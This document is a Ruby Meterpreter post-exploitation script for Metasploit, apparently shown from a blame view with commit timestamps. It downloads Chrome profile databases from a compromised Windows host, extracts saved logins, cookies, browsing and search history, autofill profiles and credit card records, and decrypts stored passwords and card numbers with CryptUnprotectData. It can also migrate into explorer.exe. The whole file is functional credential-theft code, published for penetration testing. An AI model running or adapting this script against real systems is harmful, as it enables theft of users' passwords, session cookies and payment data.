2010-10-13 01:04:28 +00:00
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#
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# Script to extract data from a chrome installation.
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#
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# Author: Sven Taute <sven dot taute at gmail com>
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#
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require 'sqlite3'
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require 'yaml'
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if client.platform !~ /win32/
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2013-09-30 18:47:53 +00:00
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print_error("This version of Meterpreter is not supported with this Script!")
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raise Rex::Script::Completed
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2010-10-13 01:04:28 +00:00
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end
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@host_info = client.sys.config.sysinfo
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@chrome_files = [
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2013-09-30 18:47:53 +00:00
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{ :in_file => "Web Data", :sql => "select * from autofill;", :out_file => "autofill"},
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{ :in_file => "Web Data", :sql => "SELECT username_value,origin_url,signon_realm FROM logins;", :out_file => "user_site"},
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{ :in_file => "Web Data", :sql => "select * from autofill_profiles;", :out_file => "autofill_profiles"},
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{ :in_file => "Web Data", :sql => "select * from credit_cards;", :out_file => "autofill_credit_cards", :encrypted_fields => ["card_number_encrypted"]},
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{ :in_file => "Cookies", :sql => "select * from cookies;", :out_file => "cookies"},
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{ :in_file => "History", :sql => "select * from urls;", :out_file => "url_history"},
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{ :in_file => "History", :sql => "SELECT url FROM downloads;", :out_file => "download_history"},
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{ :in_file => "History", :sql => "SELECT term FROM keyword_search_terms;", :out_file => "search_history"},
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{ :in_file => "Login Data", :sql => "select * from logins;", :out_file => "logins", :encrypted_fields => ["password_value"]},
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{ :in_file => "Bookmarks", :sql => nil, :out_file => "bookmarks.json"},
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{ :in_file => "Preferences", :sql => nil, :out_file => "preferences.json"},
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2010-10-13 01:04:28 +00:00
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]
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@migrate = false
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@old_pid = nil
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@output_format = []
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opts = Rex::Parser::Arguments.new(
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2013-09-30 18:47:53 +00:00
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"-h" => [ false, "Help menu" ],
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"-m" => [ false, "Migrate into explorer.exe"],
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"-f" => [ true, "Output format: j[son], y[aml], t[ext]. Defaults to json"]
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2010-10-13 01:04:28 +00:00
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)
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opts.parse(args) { |opt, idx, val|
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2013-09-30 18:47:53 +00:00
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case opt
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when "-m"
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@migrate = true
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when "-f"
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if val =~ /^j(son)?$/
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@output_format << "json"
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elsif val =~ /^y(aml)?$/
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@output_format << "yaml"
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elsif val =~ /^t(ext)?$/
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@output_format << "text"
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else
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print_error("unknown format '#{val}'.")
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raise Rex::Script::Completed
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end
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when "-h"
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print_line("")
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print_line("DESCRIPTION: Script for enumerating preferences and extracting")
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print_line("information from the Google Chrome Browser on a target system.")
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print_line("Decryption of creditcard information and passwords only supported")
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print_line("on 32bit Windows Operating Systems.")
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print_line("")
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print_line("USAGE: run enum_chrome [-m]")
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print_line(opts.usage)
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raise Rex::Script::Completed
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end
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2010-10-13 01:04:28 +00:00
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}
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@output_format << "json" if @output_format.empty?
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if @output_format.include?("json")
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2013-09-30 18:47:53 +00:00
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begin
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require 'json'
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rescue LoadError
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print_error("JSON is not available.")
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@output_format.delete("json")
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if @output_format.empty?
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print_status("Falling back to raw text output.")
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@output_format << "text"
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end
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end
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2010-10-13 01:04:28 +00:00
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end
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print_status("using output format(s): " + @output_format.join(", "))
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def prepare_railgun
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2013-09-30 18:47:53 +00:00
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rg = client.railgun
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if (!rg.get_dll('crypt32'))
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rg.add_dll('crypt32')
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end
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if (!rg.crypt32.functions["CryptUnprotectData"])
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rg.add_function("crypt32", "CryptUnprotectData", "BOOL", [
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["PBLOB","pDataIn", "in"],
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["PWCHAR", "szDataDescr", "out"],
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["PBLOB", "pOptionalEntropy", "in"],
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["PDWORD", "pvReserved", "in"],
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["PBLOB", "pPromptStruct", "in"],
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["DWORD", "dwFlags", "in"],
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["PBLOB", "pDataOut", "out"]
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])
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end
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2010-10-13 01:04:28 +00:00
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end
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def decrypt_data(data)
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2013-09-30 18:47:53 +00:00
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rg = client.railgun
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pid = client.sys.process.open.pid
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process = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
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mem = process.memory.allocate(1024)
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process.memory.write(mem, data)
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addr = [mem].pack("V")
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len = [data.length].pack("V")
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ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
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len, addr = ret["pDataOut"].unpack("V2")
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return "" if len == 0
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decrypted = process.memory.read(addr, len)
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2010-10-13 01:04:28 +00:00
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end
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def write_output(file, rows)
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2013-09-30 18:47:53 +00:00
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if @output_format.include?("json")
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::File.open(file + ".json", "w") { |f| f.write(JSON.pretty_generate(rows)) }
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end
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if @output_format.include?("yaml")
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::File.open(file + ".yml", "w") { |f| f.write(JSON.pretty_generate(rows)) }
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end
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if @output_format.include?("text")
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::File.open(file + ".txt", "w") do |f|
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f.write(rows.first.keys.join("\t") + "\n")
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f.write(rows.map { |e| e.values.map(&:inspect).join("\t") }.join("\n"))
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end
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end
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2010-10-13 01:04:28 +00:00
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end
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def process_files(username)
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2013-09-30 18:47:53 +00:00
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@chrome_files.each do |item|
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in_file = File.join(@log_dir, Rex::FileUtils.clean_path(username), item[:in_file])
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out_file = File.join(@log_dir, Rex::FileUtils.clean_path(username), item[:out_file])
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if item[:sql]
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db = SQLite3::Database.new(in_file)
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columns, *rows = db.execute2(item[:sql])
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db.close
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rows.map! do |row|
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res = Hash[*columns.zip(row).flatten]
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if item[:encrypted_fields] && client.sys.config.getuid != "NT AUTHORITY\\SYSTEM"
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if @host_info['Architecture'] !~ /x64/
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item[:encrypted_fields].each do |field|
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print_good("decrypting field '#{field}'...")
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res[field + "_decrypted"] = decrypt_data(res[field])
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end
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else
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print_error("Can not decrypt #{item[:out_file]}, decryption only supported in 32bit OS")
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end
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end
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res
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end
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if rows.length > 0
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print_status("writing output '#{item[:out_file]}'...")
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write_output(out_file, rows)
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else
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print_status("no '#{item[:out_file]}' data found in file '#{item[:in_file]}'")
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end
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else
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::FileUtils.cp(in_file, out_file)
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end
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end
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2010-10-13 01:04:28 +00:00
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end
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def extract_data(username)
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2013-09-30 18:47:53 +00:00
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chrome_path = @profiles_path + "\\" + username + @data_path
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begin
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client.fs.file.stat(chrome_path)
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rescue
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print_status("no files found for user '#{username}'")
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return false
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end
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@chrome_files.map{ |e| e[:in_file] }.uniq.each do |f|
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remote_path = chrome_path + '\\' + f
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local_path = File.join(@log_dir, Rex::FileUtils.clean_path(username), f)
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print_status("downloading file #{f} to '#{local_path}'...")
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client.fs.file.download_file(local_path, remote_path)
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end
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return true
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2010-10-13 01:04:28 +00:00
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end
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if @migrate
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2013-09-30 18:47:53 +00:00
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current_pid = client.sys.process.open.pid
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target_pid = client.sys.process["explorer.exe"]
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if target_pid != current_pid
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@old_pid = current_pid
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print_status("current PID is #{current_pid}. migrating into explorer.exe, PID=#{target_pid}...")
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client.core.migrate(target_pid)
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print_status("done.")
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end
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2010-10-13 01:04:28 +00:00
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end
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2012-02-29 01:28:47 +00:00
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host = session.session_host
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2011-01-25 02:24:37 +00:00
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@log_dir = File.join(Msf::Config.log_directory, "scripts", "enum_chrome", Rex::FileUtils.clean_path(@host_info['Computer']), Time.now.strftime("%Y%m%d.%H%M"))
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2010-10-13 01:04:28 +00:00
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::FileUtils.mkdir_p(@log_dir)
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2013-12-19 01:43:59 +00:00
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sysdrive = client.sys.config.getenv('SYSTEMDRIVE')
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2010-10-13 01:04:28 +00:00
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os = @host_info['OS']
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if os =~ /(Windows 7|2008|Vista)/
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2013-09-30 18:47:53 +00:00
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@profiles_path = sysdrive + "\\Users\\"
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@data_path = "\\AppData\\Local\\Google\\Chrome\\User Data\\Default"
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2010-10-13 01:04:28 +00:00
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elsif os =~ /(2000|NET|XP)/
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2013-09-30 18:47:53 +00:00
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@profiles_path = sysdrive + "\\Documents and Settings\\"
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@data_path = "\\Local Settings\\Application Data\\Google\\Chrome\\User Data\\Default"
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2010-10-13 01:04:28 +00:00
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end
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usernames = []
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2011-03-16 22:48:43 +00:00
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uid = client.sys.config.getuid
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if is_system?
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2013-09-30 18:47:53 +00:00
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print_status "running as SYSTEM, extracting user list..."
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print_status "(decryption of passwords and credit card numbers will not be possible)"
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client.fs.dir.foreach(@profiles_path) do |u|
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usernames << u if u !~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini|LocalService|NetworkService)$/
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end
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print_status "users found: #{usernames.join(", ")}"
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2010-10-13 01:04:28 +00:00
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else
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2013-09-30 18:47:53 +00:00
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print_status "running as user '#{uid}'..."
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2013-12-19 01:43:59 +00:00
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usernames << client.sys.config.getenv('USERNAME')
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2013-09-30 18:47:53 +00:00
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prepare_railgun
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2010-10-13 01:04:28 +00:00
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end
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usernames.each do |u|
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2013-09-30 18:47:53 +00:00
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print_status("extracting data for user '#{u}'...")
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success = extract_data(u)
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process_files(u) if success
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2010-10-13 01:04:28 +00:00
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end
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if @migrate && @old_pid
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2013-09-30 18:47:53 +00:00
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print_status("migrating back into PID=#{@old_pid}...")
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client.core.migrate(@old_pid)
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print_status("done.")
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2010-10-13 01:04:28 +00:00
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end
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raise Rex::Script::Completed
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